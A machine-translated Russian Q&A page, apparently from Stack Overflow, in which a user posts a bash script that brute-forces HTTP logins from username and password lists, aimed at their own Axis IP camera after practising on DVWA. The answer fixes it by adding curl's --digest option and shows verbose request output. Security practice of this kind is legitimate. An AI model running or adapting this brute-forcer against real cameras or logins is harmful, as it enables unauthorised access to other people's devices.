Синтаксис curl в HTTP-логинах на основе GET

Для практики я решил создать простой bashteforcing bash скрипт, который я успешно использовал для решения DWVA. Затем я перешел на IoT, а именно на мою старую IP-камеру. Это мой код на данный момент:

#!/bin/bash

if [ "${#@}" != "2" ]; then
  echo "<command><host><path>"
  exit
fi

ip=$1
path=$2
for name in $(cat user.txt); do
 for pass in $(cat passwords.txt); do
echo  ${name}:${pass}
res="$(curl -si ${name}:${pass}@${ip}${path})"
check=$(echo "$res" | grep "HTTP/1.1 401 Unauthorised")
if [ "$check" != '' ]; then
  tput setaf 1
  echo "[FAILURE]"
  tput sgr0
else
  tput setaf 2
  echo "[SUCCESS]"
  tput sgr0
  exit
fi
sleep .1
  done;
done;

Несмотря на очевидные недостатки - например, отчеты об успехах в случае сбоя сети - это так же хорошо, как мои 20-минутные задания по кодированию. Тем не менее, я не могу понять синтаксис команды curl совершенно правильно. Камера, о которой идет речь, - это простая Axis, работающая на cramFS и небольшая скриптовая ОС. Это похоже на многие общедоступные формы входа камер, например, здесь, здесь или здесь. Простое ПОЛУЧЕНИЕ, но я чувствую, что бьюсь головой о стену. Любой кусочек будет безумно оценен в этот момент.

Я взял на себя смелость вставить содержимое первого пакета GET:

AYGET /operator/basic.shtml?id=478 HTTP/1.1
Host: <target_host_ip>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://<target_host_ip>/view/view.shtml?id=282&imagepath=%2Fmjpg%2Fvideo.mjpg&size=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Digest username="root", realm="AXIS_ACCC8E4A2177", nonce="w3PH7XVmBQA=32dd7cd6ab72e0142e2266eb2a68f59e92995033", uri="/operator/basic.shtml?id=478", algorithm=MD5, response="025664e1ba362ebbf9c108b1acbcae97", qop=auth, nc=00000001, cnonce="a7e04861c3634d3b"

Посылка, отправленная взамен, является простой, сухой 401.

PS: Любые полномочия - не стесняйтесь удалять IP, если они что-то нарушают. Также не стесняйтесь указывать на грамматические / орфографические ошибки и т. Д., Так как грядет экзамен C2.

1 ответ

Решение

Похоже, что эти камеры не просто используют "базовую" аутентификацию HTTP с кодировкой base64 username:password combo, но используют дайджест-аутентификацию, которая включает в себя немного больше.

К счастью, с cURL это просто означает, что вам нужно указать --digest в командной строке, чтобы справиться с этим правильно.

Проверьте последовательность событий самостоятельно, используя:

curl --digest http://user:password@example.com/digest-url/

Вы должны увидеть что-то похожее на:

*   Trying example.com...
* Connected to example.com (x.x.x.x) port 80 (#0)
* Server auth using Digest with user 'admin'
> GET /view/viewer_index.shtml?id=1323 HTTP/1.1
> Host: example.com
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 401 Unauthorized
< Date: Wed, 08 Nov 1972 17:30:37 GMT
< Accept-Ranges: bytes
< Connection: close
< WWW-Authenticate: Digest realm="AXIS_MACADDR", nonce="00b035e7Y417961b2083fae7e4b2c4053e39ef8ba0b65b", stale=FALSE, qop="auth"
< WWW-Authenticate: Basic realm="AXIS_MACADDR"
< Content-Length: 189
< Content-Type: text/html; charset=ISO-8859-1
< 
* Closing connection 0
* Issue another request to this URL: 'http://admin:admin2@example.com/view/viewer_index.shtml?id=1323'
* Server auth using Digest with user 'admin'
> GET /view/viewer_index.shtml?id=1323 HTTP/1.1
> Host: example.com
> Authorization: Digest username="admin", realm="AXIS_MACADDR", nonce="00b035e7Y417961b2083fae7e4b2c4053e39ef8ba0b65b", uri="/view/viewer_index.shtml?id=1323", cnonce="NWIxZmY1YzA3NmY3ODczMDA0MDg4MTUwZDdjZmE0NGI=", nc=00000001, qop=auth, response="3b03254ef43bc4590cb00ba32defeaff"
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 401 Unauthorized
< Date: Wed, 08 Nov 1972 17:30:37 GMT
< Accept-Ranges: bytes
< Connection: close
* Authentication problem. Ignoring this.
< WWW-Authenticate: Digest realm="AXIS_MACADDR", nonce="00b035e8Y8232884a74ee247fc1cc42cab0cdf59839b6f", stale=FALSE, qop="auth"
< WWW-Authenticate: Basic realm="AXIS_MACADDR"
< Content-Length: 189
< Content-Type: text/html; charset=ISO-8859-1
< 
Другие вопросы по тегам